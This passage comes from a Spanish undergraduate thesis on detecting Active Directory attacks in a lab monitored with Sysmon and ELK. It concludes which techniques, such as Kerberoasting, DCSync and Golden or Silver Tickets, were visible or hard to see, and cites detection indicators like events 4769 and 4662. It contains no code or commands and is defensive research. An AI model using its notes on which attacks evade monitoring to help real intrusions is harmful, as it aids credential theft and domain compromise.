técnicas modernas de postexplotacion.

La capacidad real de deteccidén depende mas de la correlacion y del contexto que de la
cantidad de eventos generados.

Finalmente, el anélisis realizado demuestra que la detectabilidad en AD no depende
exclusivamente de la existencia de mecanismos de logging sino de la capacidad del entorno
para interpretar correctamente el comportamiento observado. En consecuencia, la deteccion
efectiva requiere combinar multiples fuentes de datos, correlacidon avanzaday conocimiento
contextual del funcionamiento normal del dominio.



Conclusiones del analisis de detectabilidad

El analisis realizado a lo largo de este apartado de las distintas fases ofensivas del laboratorio
ha permitido evaluar de forma practica la capacidad real de deteccion de multiples técnicas
usadas habitualmente en ataques contra entornos AD. A diferencia de un enfoque centrado
Unicamente en la explotacién ofensiva, esta parte del trabajo ha permitido estudiar qué
evidencias generan estas técnicas ofensivas, cOmo se comportan los sistemas de
monitorizacién ante ellasy cuales son las principales limitaciones observadas desde el punto
de vista defensivo.

Uno de los principales hallazgos obtenidos durante el analisis es que la existencia de logs no
implica necesariamente capacidad real de deteccién. En numerosos casos, las técnicas
ejecutadas si generaban eventos dentro del sistema, pero estos eran ambiguos, insuficientes o
demasiado similares a la actividad habitual del dominio. Esto fue especialmente visible en
técnicas basadas en reutilizacion de credenciales validas, acceso SMB, abuso de delegaciones
Kerberos (S4U), Golden Ticket o Silver Ticket.

En estos escenarios, la dificultad principal no fue la ausencia de eventos sino la complejidad de
diferenciar actividad maliciosa de comportamiento corporativo normal. Precisamente, algunas
de las técnicas con mayor impacto ofensivo fueron también las que presentaron una
detectabilidad mas reducida durante el laboratorio. Esto permitié observar que severidad e
identificabilidad no mantienen una relacién directa dentro de entornos Active Directory.

Por el contrario, las técnicas que generaron una detectabilidad mas alta fueron aquellas que
produjeron eventos muy especificos o comportamientos claramente andmalos dentro del
entorno. Entre las mas visibles destacaron Password Spraying, Kerberoasting, DCSyncy
determinadas acciones de persistencia mediante creacion de cuentas privilegiadas. En
términos generales, las técnicas asociadas a autenticaciones anémalas, replicaciéon de Active
Directory o asignacion de privilegios elevados resultaron significativamente mas visibles que
aquellas basadas en reutilizacién de tickets Kerberos o uso de credenciales validas.

Estas técnicas generaron indicadores particularmente Utiles desde el punto de vista defensivo
como eventos 4769 asociados a RC4, secuencias masivas de autenticaciones fallidas, eventos
4662 relacionados con replicacién de Active Directory o asignaciones de privilegios especiales.
En consecuencia, resulté mucho mas sencillo construir reglas de deteccidon y correlaciones
eficaces dentro de ELK.

En un punto intermedio se situaron técnicas como BloodHound, SharpHound, xp_cmdshell o
PrintSpoofer. Estas actividades si generaron evidencias relevantes dentro del entorno, aunque
en muchos casos requerian analisis adicional para interpretarse correctamente. Por ejemplo,
las consultas LDAP realizadas por BloodHound podian confundirse con tareas administrativas
reales, mientras que técnicas como xp_cmdshell o PrintSpoofer Unicamente resultaron
claramente visibles cuando se disponia de telemetria avanzada basada en Sysmon.

Otro de los aspectos mas relevantes observados durante el analisis fue el enorme impacto que
tuvo Sysmon sobre la visibilidad del entorno. Gran parte de las técnicas de postexplotacion
apenas dejaron evidencias relevantes dentro de los Security Logs nativos de Windows y
Unicamente se pudieron reconstruir gracias a la telemetria adicional proporcionada por
Sysmon.

Gracias a esta informacion fue posible identificar la ejecucidon de herramientas ofensivas,
LOLBIns, elevaciones de privilegios locales, transferencia de binarios, creacién de procesos
sospechosos y dumping de credenciales. Esto demostré una dependencia clara de Sysmon
para detectar técnicas relacionadas con ejecucion de procesos, herramientas ofensivasy
abuso de binarios legitimos del sistema. Sin esta telemetria adicional, gran parte de estas



actividades habrian presentado una visibilidad extremadamente reducida utilizando
Unicamente los mecanismos de logging nativos del sistema operativo.

Esto permitié extraer una de las principales conclusiones del trabajo: una monitorizacion
basada exclusivamente en Security Logs resulta claramente insuficiente frente a técnicas
modernas de postexplotacién y movimiento lateral.

Ademas, el analisis demostré que la correlacion constituye uno de los elementos mas
importantes dentro del entorno de deteccién. En numerosos casos, los eventos individuales no
resultaban suficientemente representativos por si solos y Unicamente adquirian valor defensivo
cuando eran analizados conjuntamente dentro del SIEM.

Esto demostrd que la capacidad real de deteccion depende principalmente de la calidad de las
reglas empleadas, capacidad de correlacion del SIEM, nivel de auditoria desplegado, fuentes de
datos disponibles y conocimiento contextual del comportamiento normal del entorno.

Otro aspecto especialmente relevante observado fue la diferencia existente entre
detectabilidad e impacto ofensivo. Algunas de las técnicas mas criticas desde el punto de vista
del compromiso del dominio fueron precisamente aquellas que presentaron una visibilidad mas
reducida dentro del entorno monitorizado.

Estas técnicas usan mecanismos legitimos del sistema y reducen considerablemente la
generacion de eventos sospechosos, dificultando enormemente su identificacién incluso en
entornos monitorizados.

En el caso concreto de Silver Ticket, el hecho de que determinadas autenticaciones no
requieran interaccién directa con el controlador de dominio reduce drasticamente la capacidad
de deteccion centralizada. Esto limita considerablemente la visibilidad disponible en los logs
del DCy provoca que gran parte de la actividad quede registrada exclusivamente en el host que
ofrece el servicio comprometido, sin generar trazabilidad completa en el controlador de
dominio, convirtiéndolo en uno de los escenarios mas complejos observados durante el
analisis.

Por otro lado, también se comprobd que la detectabilidad depende enormemente del contexto
del entorno monitorizado. El laboratorio fue desplegado en una infraestructura controlada y con
un volumen relativamente reducido de actividad legitima, lo que facilité considerablemente la
identificaciéon de determinados comportamientos andmalos.

En un entorno corporativo real con cientos o miles de equipos, gran parte de los eventos
observados durante el laboratorio quedarian mezclados entre enormes voliumenes de
autenticaciones, accesos SMB, trafico LDAP y actividad administrativa legitima, aumentando
significativamente la dificultad del proceso de deteccién.

En consecuencia, una de las conclusiones mas importantes del trabajo es que la deteccidn
efectiva en AD no depende Unicamente de recopilar logs, sino de la capacidad del entorno para
interpretar correctamente el comportamiento observado a partir de la correlacién, analisis
contextual y fuentes de telemetria adecuadas.

Finalmente, el laboratorio ha permitido demostrar que Active Directory continla siendo un
entorno especialmente complejo desde el punto de vista defensivo debido a que muchas de las
técnicas usadas por atacantes se apoyan en funcionalidades completamente legitimas del
sistema. Esto provoca que la linea entre actividad normaly comportamiento malicioso sea
extremadamente difusa en numerosos escenarios.

Como conclusion, la capacidad real de deteccidn frente a ataques avanzados requiere
combinar:



e Multiples fuentes de datos.

e Monitorizacién avanzada mediante herramientas como Sysmon.
e Correlacion entre eventos.

e Analisis temporal y contextual.

e Conocimiento profundo del funcionamiento normal del dominio.

A partir de todo el analisis realizado, puede concluirse que la detectabilidad en Active Directory
depende menos de la existencia de eventos aislados y mas de la capacidad del entorno para
correlacionar multiples fuentes de datos, interpretar comportamientos andmalos y mantener
visibilidad avanzada sobre sistemas, procesos y autenticaciones.

6. Conclusiones Finales

Con larealizacion de este Trabajo de Fin de Grado se ha permitido desarrollar una visién globaly
practica sobre uno de los mayores retos actuales en ciberseguridad corporativa, que es la
protecciony deteccién de amenazas en entornos Active Directory. Mas alla de la ejecucion
técnica de ataques o de la implementacién de herramientas de monitorizacién, el proyecto ha
servido para demostrar como la seguridad de una infraestructura moderna depende en gran
medida de la capacidad de comprender el comportamiento real del atacante dentro del sistema
y no Unicamente de la existencia de mecanismos preventivos tradicionales.

Uno de los aspectos mas relevantes observados durante el desarrollo del laboratorio es que
Active Directory continua representando el nucleo operativo de la mayoria de las
infraestructuras empresariales modernas concentrando autenticacioén, autorizacion, gestion de
identidades y control de acceso. Precisamente por esa centralizacién cualquier debilidad
dentro del dominio tiene un impacto potencialmente critico sobre toda la organizacién. Sin
embargo, el trabajo demuestra que el riesgo no suele estar asociado exclusivamente a
vulnerabilidades técnicas complejas, sino a configuraciones inseguras, exceso de confianza
interna y malas practicas administrativas acumuladas con el tiempo.

A lo largo del proyecto se ha comprobado que un atacante no necesita explotar fallos
sofisticados para comprometer un entorno corporativo completo. En muchos casos basta con
combinar pequefias debilidades aparentemente aisladas como credenciales expuestas en
recursos compartidos, cuentas de servicio mal configuradas, permisos excesivos, delegaciones
inseguras o reutilizacion de contrasenas. Individualmente muchas de estas configuraciones
podrian considerarse riesgos menores o incluso habituales dentro de entornos reales. Sin
embargo, cuando se analizan desde una perspectiva ofensiva encadenada se convierten en
elementos que facilitan enormemente la progresién del ataque.

Este punto resulta especialmente importante porque pone de manifiesto que la seguridad no
falla necesariamente por una unica vulnerabilidad critica, sino por la acumulacién progresiva
de pequefias decisiones inseguras que combinadas generan rutas completas de compromiso.
Precisamente, una de las principales aportaciones de este trabajo ha sido demostrar de forma
practica como un atacante puede evolucionar desde un acceso limitado hasta el control total
del dominio utilizando exclusivamente funcionalidades legitimas del sistema y configuraciones
habituales en organizaciones reales.

En este contexto, el proyecto evidencia que las técnicas modernas de postexplotacion han
evolucionado hacia modelos mucho mas silenciosos y dificiles de identificar. Herramientas y
técnicas como Kerberoasting, abuso de tickets Kerberos, movimiento lateral mediante SMB, uso
de WinRM, enumeracién LDAP o abuso de delegaciones no generan necesariamente



comportamientos claramente maliciosos desde el punto de vista del sistema operativo. Por el
contrario, utilizan exactamente los mismos protocolos y servicios empleados diariamente por
administradores, usuarios y aplicaciones corporativas.

Este hecho introduce uno de los mayores desafios actuales para los equipos defensivos,
diferenciar actividad legitima de actividad maliciosa cuando ambas comparten los mismos
mecanismos técnicos. Durante el desarrollo del laboratorio quedd demostrado que muchas
acciones ofensivas generan eventos validos y esperables dentro del dominio reduciendo
enormemente la eficacia de modelos tradicionales basados Unicamente en alertas estaticas o
eventos individuales.

En consecuencia a esto, el trabajo permite concluir que la deteccién moderna en Active
Directory ya no puede depender exclusivamente de indicadores simples o reglas aisladas. La
realidad observada durante el proyecto demuestra que la deteccion efectiva depende de
contextualizacidn, correlacidon temporal y analisis de comportamiento. No basta con registrar
eventos sino que es necesario interpretar como se relacionan entre si, qué secuencia sigueny si
representan desviaciones respecto al comportamiento normal del entorno.

Precisamente aqui cobra especial importancia el uso de plataformas SIEM y sistemas de
observabilidad avanzada como ELK. La centralizaciéon de logs permitié comprobar que disponer
de grandes volumenes de informacién no garantiza automaticamente capacidad de deteccion.
De hecho, uno de los problemas mas relevantes identificados fue el enorme nivel de ruido
generado por sistemas corporativos modernos. La dificultad no radica en obtener datos sino en
identificar cuales aportan realmente valor analitico.

Durante el andlisis realizado, muchas técnicas ofensivas Unicamente pudieron identificarse
cuando se correlacionaron multiples evidencias procedentes de distintas fuentes. Por ejemplo,
determinadas solicitudes Kerberos podian parecer completamente normales de forma aislada
pero adquirian relevancia al relacionarse con ejecucién de procesos sospechosos, patrones
andmalos de autenticacidon o accesos inusuales entre sistemas. Esto evidencia que la
deteccion efectiva depende cada vez mas de modelos de comportamiento y no de eventos
independientes.

Otro aspecto significativo es la importancia que adquieren las fuentes de telemetria
enriquecidas. La incorporacion de Sysmon permitié aumentar considerablemente la visibilidad
sobre el comportamiento interno de los sistemas proporcionando informacion critica sobre
creacion de procesos, conexiones de red, acceso a memoaoria o relaciones parent-child entre
aplicaciones. Sin este tipo de telemetria avanzada gran parte de las técnicas utilizadas habrian
pasado practicamente desapercibidas o habrian carecido de suficiente contexto para su
analisis.

Del mismo modo, el proyecto demuestra que muchas organizaciones contindian centrando sus
esfuerzos defensivos principalmente en amenazas externas, dejando en segundo plano la
monitorizacion interna del dominio. Sin embargo, una vez obtenido acceso legitimo mediante
credenciales validas, el atacante puede operar dentro de la infraestructura con un nivel de
visibilidad extremadamente reducido. Este comportamiento quedo claramente reflejado en
multiples fases del laboratorio, especialmente en aquellas basadas en reutilizaciéon de
credenciales y abuso de autenticacion Kerberos.

Otro de los elementos mas importantes observados es la relacion directa entre privilegios
delegadosy superficie de ataque. Active Directory esta disefiado para facilitar la administracion
distribuida de entornos complejos pero precisamente esa flexibilidad puede convertirse en un
problema cuando los permisos no se controlan adecuadamente. El analisis realizado mediante
BloodHound permitio visualizar cdmo pequenas delegaciones administrativas o relaciones



indirectas entre objetos pueden generar rutas completas de escalada de privilegios dificiles de
detectar a simple vista.

Desde una perspectiva estratégica, el trabajo también pone de manifiesto la necesidad de
adoptar modelos de seguridad basados en “Zero Trust” y segmentacion légica dentro del
dominio. La excesiva confianza implicita entre sistemas internos continua siendo uno de los
principales facilitadores del movimiento lateral. Una vez comprometido un equipo, el atacante
puede aprovechar relaciones legitimas entre servicios para expandirse progresivamente por la
infraestructura.

Igualmente, el proyecto demuestra la importancia critica de la higiene de credenciales dentro
de las organizaciones. La reutilizacidon de contrasenas, el almacenamiento inseguro de
credenciales o el uso de cuentas de servicio con configuraciones débiles continuan siendo uno
de los principales vectores de compromiso en entornos corporativos. En muchos casos, las
técnicas mas efectivas no fueron las mas sofisticadas sino aquellas que aprovecharon errores
operativos basicos acumulados dentro del dominio.

A nivel metodologico, el uso del marco MITRE ATT&CK aporté una estructura muy valiosa para
contextualizar cada técnica dentro de tacticas reales observadas en incidentes de
ciberseguridad. Esto permitié no solo clasificar técnicamente las acciones realizadas sino
también entender cdmo se relacionan entre si dentro de una intrusién completa. El resultado es
un analisis mucho mas cercano a escenarios reales de ataque y defensa, alejandose de
enfoques puramente académicos o aislados.

Asimismo, la utilizacién de métricas CVSS permitié complementar el estudio desde una
perspectiva orientada al riesgo, ayudando a comprender que la severidad de una vulnerabilidad
no depende Unicamente de su complejidad técnica sino también de su capacidad para formar
parte de cadenas de ataque mas amplias.

Desde un punto de vista académico y profesional, el desarrollo de este proyecto ha supuesto
una experiencia especialmente enriquecedora al integrar conocimientos de redes, sistemas,
seguridad ofensiva, monitorizacion y analisis defensivo dentro de un unico entorno practico. La
construccién completa del laboratorio, la resolucién de problemas reales de configuraciény la
validacion experimental de las técnicas me permitieron obtener una comprensién mucho mas
profunda de cémo funcionan realmente las infraestructuras corporativas modernas.

Finalmente, este trabajo permite extraer una conclusion especialmente relevante, en
ciberseguridad, la dificultad ya no reside Unicamente en evitar que un atacante entre en la
infraestructura sino en ser capaces de detectar codmo se comporta una vez dentro. Los entornos
Active Directory modernos presentan una complejidad tan elevada y una integracién tan
profunda entre servicios que muchas actividades maliciosas se confunden facilmente con
operaciones legitimas del sistema.

Por tanto, la principal reflexion que deja este proyecto es que la seguridad efectiva en entornos
corporativos debe evolucionar desde modelos centrados exclusivamente en prevencion hacia
enfoques orientados a visibilidad, correlaciéon y analisis continuo del comportamiento. La
capacidad de comprender el contexto de los eventos, identificar desviaciones y relacionar
evidencias dispersas se convierte asi en uno de los pilares fundamentales de la defensa
moderna frente a amenazas avanzadas.
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